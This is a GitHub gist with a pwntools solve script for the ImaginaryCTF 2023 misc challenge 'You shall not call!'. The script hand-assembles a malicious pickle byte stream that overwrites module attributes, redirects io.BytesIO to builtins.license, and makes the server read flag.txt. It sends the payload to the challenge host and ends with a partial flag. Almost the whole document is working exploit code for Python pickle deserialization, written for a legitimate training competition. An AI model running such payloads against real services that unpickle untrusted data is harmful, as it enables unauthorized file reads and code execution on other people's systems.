Created
July 22, 2023 08:43
-
-
Save lebr0nli/eec8f5addd77064f1fa0e8b22b6a54f5 to your computer and use it in GitHub Desktop.
ImaginaryCTF 2023 - You shall not call! (misc)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import pickletools | |
def conn() -> tube: | |
if args.LOCAL: | |
return process(["python", "server.py"]) | |
return remote("you-shall-not-call.chal.imaginaryctf.org", 1337) | |
def main() -> None: | |
data = pickle.PROTO + bytes([5]) | |
# load __main__ | |
data += pickle.GLOBAL + b"__main__\n__main__\n" | |
# memo[0] = io | |
data += pickle.GLOBAL + b"__main__\nio\n" | |
data += pickle.BINPUT + bytes([0]) | |
data += pickle.POP | |
# __main__.__main__ = pickle | |
data += pickle.MARK | |
data += pickle.UNICODE + b"__main__\n" | |
data += pickle.GLOBAL + b"__main__\npickle\n" | |
data += pickle.DICT | |
data += pickle.BUILD | |
# memo[1] = pickle._dumps | |
data += pickle.GLOBAL + b"__main__\n_dumps\n" | |
data += pickle.BINPUT + bytes([1]) | |
data += pickle.POP | |
# __main__.__main__ = codecs | |
data += pickle.MARK | |
data += pickle.UNICODE + b"__main__\n" | |
data += pickle.GLOBAL + b"__main__\ncodecs\n" # pickle.codecs | |
data += pickle.DICT | |
data += pickle.BUILD | |
# __main__.__main__ = builtins | |
data += pickle.MARK | |
data += pickle.UNICODE + b"__main__\n" | |
data += pickle.GLOBAL + b"__main__\nbuiltins\n" # codecs.builtins | |
data += pickle.DICT | |
data += pickle.BUILD | |
data += pickle.POP | |
# io.BytesIO = license | |
data += pickle.BINGET + bytes([0]) | |
data += pickle.MARK | |
data += pickle.UNICODE + b"BytesIO\n" | |
# license._Printer__filenames = ("flag.txt",) | |
data += pickle.GLOBAL + b"__main__\nlicense\n" # builtins.license | |
data += pickle.MARK | |
data += pickle.UNICODE + b"_Printer__filenames\n" | |
data += pickle.UNICODE + b"flag.txt\n" | |
data += pickle.TUPLE1 | |
data += pickle.DICT | |
data += pickle.BUILD | |
data += pickle.DICT | |
data += pickle.BUILD | |
# license.__setstate__ = pickle._dumps | |
data += pickle.MARK | |
data += pickle.UNICODE + b"__setstate__\n" | |
data += pickle.BINGET + bytes([1]) | |
data += pickle.DICT | |
data += pickle.BUILD | |
# license.__setstate__("x") -> pickle._dumps("x") -> io.BytesIO() -> license() | |
data += pickle.UNICODE + b"x\n" | |
data += pickle.BUILD | |
data += pickle.STOP | |
pickletools.dis(data) | |
with conn() as io: | |
io.sendlineafter(b"$ ", data.hex().encode()) | |
io.interactive() | |
if __name__ == "__main__": | |
main() | |
# ictf{C4lL3d_1t...} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment